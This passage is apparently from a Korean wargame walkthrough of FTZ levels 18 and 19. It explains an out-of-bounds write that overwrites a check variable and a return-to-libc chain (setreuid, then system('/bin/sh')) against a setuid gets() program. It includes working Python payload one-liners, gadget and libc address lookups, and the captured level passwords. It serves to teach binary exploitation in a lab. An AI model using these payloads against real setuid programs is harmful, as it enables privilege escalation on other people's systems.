0x08048593 <main+67>: jmp 0x8048775 <main+549>
0x08048598 <main+72>: cmp DWORD PTR [ebp-112],0x63 // count => [ebp-112]
0x0804859c <main+76>: jle 0x80485ab <main+91>
0x0804859e <main+78>: push 0x8048815
0x080485a3 <main+83>: call 0x8048470 <printf>
0x080485a8 <main+88>: add esp,0x4
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef // check => [ebp-104]
0x080485b2 <main+98>: jne 0x80485c0 <main+112>
0x080485b4 <main+100>: call 0x8048780 <shellout>
.......
0x08048743 <main+499>: lea eax,[ebp-100] // string[100] => [ebp-100]
0x08048746 <main+502>: mov DWORD PTR [ebp-252],eax
0x0804874c <main+508>: mov edx,DWORD PTR [ebp-112]
0x0804874f <main+511>: mov cl,BYTE PTR [ebp-108]
0x08048752 <main+514>: mov BYTE PTR [ebp-253],cl
0x08048758 <main+520>: mov al,BYTE PTR [ebp-253]
0x0804875e <main+526>: mov ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>: mov BYTE PTR [edx+ecx],al
C
복사
gdb를 이용해서 확인해보면 string배열의 정확한 위치는 [ebp-100], check 변수는 [ebp-104], count 변수는 [ebp-112]이다. 여기서 보면 string 배열보다 낮은 위치에 check 변수가 존재하기 때문에 버퍼 오버플로우는 불가능하다.
char string[100];
int check;
int x = 0;
int count = 0;
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
C
복사
switch 구문을 보면 count 변수 값은 0에서 시작해서 일반적인 문자열을 입력하면 증가하는 구조이다. 그러나 count 변수의 제한이 없어 아무 문자열을 넣지 않고 0x08을 입력하면 Out of Bound Write 취약점이 발생한다. 이를 이용해서 check 변수 위치로 이동시킬 수 있고 원하는 값을 넣을 수 있다.
[level18@ftz level18]$ (python -c 'print("\x08"*4+"\xef\xbe\xad\xde")';cat) | ./attackme
Enter your command: id
uid=3099(level19) gid=3098(level18) groups=3098(level18)
my-pass
Level19 Password is "swimming in pink".
Bash
복사
string 배열과 check 변수 위치는 4byte만큼 차이가 있기 때문에 0x08을 4번 입력한 뒤 0xdeadbeef를 입력하면 level19 쉘을 실행할 수 있다.
Level19
ID/PW : level19 / swimming in pink
[level19@ftz level19]$ ls -l
total 28
-rwsr-x--- 1 level20 level19 13615 Mar 8 2003 attackme
-rw-r----- 1 root level19 65 Mar 8 2003 hint
drwxr-xr-x 2 root level19 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level19 4096 Jan 16 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level20 권한의 파일에 SetUID 권한이 부여 되어있다.
[level19@ftz level19]$ cat hint
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 핵심 소스 코드를 해석하면 아래와 같다.
•
char buf[20];
◦
char형 20byte 길이의 buf배열 선언
•
gets(buf);
◦
buf 배열에 문자열 입력값 저장
•
printf("%s\n",buf);
◦
buf 배열 출력
소스코드를 보면 BOF 취약점이 존재하는 gets()함수가 확인이 되고 과도하게 길이의 데이터를 입력하면 버퍼오버플로우가 발생한다. 현재까지 문제들과 다르게 소스코드 상에 level20 권한을 부여하는 코드가 없다. 따라서 RTL Chaining을 이용해서 setreuid()함수로 level20권한을 먼저 획득 후 system()함수로 쉘을 탈취해야 한다.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40] // buf[20] => [ebp-40]
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
C
복사
gdb를 이용해서 확인해보면 buf배열의 정확한 위치는 [ebp-20]이다. 즉 Return 영역을 덮기 위해서는 4byte 더미를 더해서 24byte만큼 더미를 입력하면 RET 영역을 덮을 수 있다.
[level19@ftz level19]$ ldd attackme
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[level19@ftz level19]$ nm /lib/tls/libc.so.6 | grep system
4203f340 t do_system
4203f2c0 T __libc_system
421002d0 T svcerr_systemerr
4203f2c0 W system
[level19@ftz level19]$ nm /lib/tls/libc.so.6 | grep setreuid
420d7920 W setreuid
420d7920 t __setreuid
[level19@ftz level19]$ strings -tx /lib/tls/libc.so.6 | grep /bin/sh
127ea4 /bin/sh
C
복사
system()주소와 “/bin/sh" 문자열 주소 정보를 확인하기 위해서 attackme 파일의 라이브러리를 파악한 후 라이브러리 내에서 system()주소, setreuid() 주소 “/bin/sh" 문자열 주소를 확인했다.
•
system 주소 : 0x4203f2c0
•
setreuid 주소 : 0x420d7920
•
/bin/sh 주소 : 0x42127ea4
페이로드는 위와 같이 구성해야 한다. RTL Chaining을 하기 위해서는 pop-ret, pop-pop-ret와 같은 가젯이 필요하다. 그 이유는 첫번째 함수 호출에서는 크게 상관이 없으나 두번째 함수부터는 호출은 가능하지만 원하는 인자값을 넣을 수가 없다. 따라서 pop-ret, pop-pop-ret 가젯으로 ESP를 조작함으로써 원하는 함수에 원하는 인자값을 넣어줄 수 있다.
[level19@ftz level19]$ objdump -d attackme | grep pop -A 2 | grep ret -B 2
--
804849d: 5b pop %ebx
804849e: 5d pop %ebp
804849f: c3 ret
--
Bash
복사
setreuid() 함수는 인자가 2개이기 때문에 pop-pop-ret 가젯이 필요하고 가젯은 바이너리, 혹은 라이브러리에서 찾아야 한다. 해당 문제에서는 attackme 문제 파일에서 찾을 수 있다.
[level19@ftz level19]$ (python -c 'print("A"*44+"\x20\x79\x0d\x42"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"*2+"\xc0\xf2\x03\x42"+"A"*4+"\xa4\x7e\x12\x42")';cat) | ./attackme
BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA y
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
my-pass
Level20 Password is "we are just regular guys".
Bash
복사
페이로드 구성은 아래와 같다.
•
[Dummy 44byte] + [setreuid() 주소] + ppr 주소] + [3100]*2 + [system() 주소] + [Dummy 4byte] + [”/bin/sh” 주소]

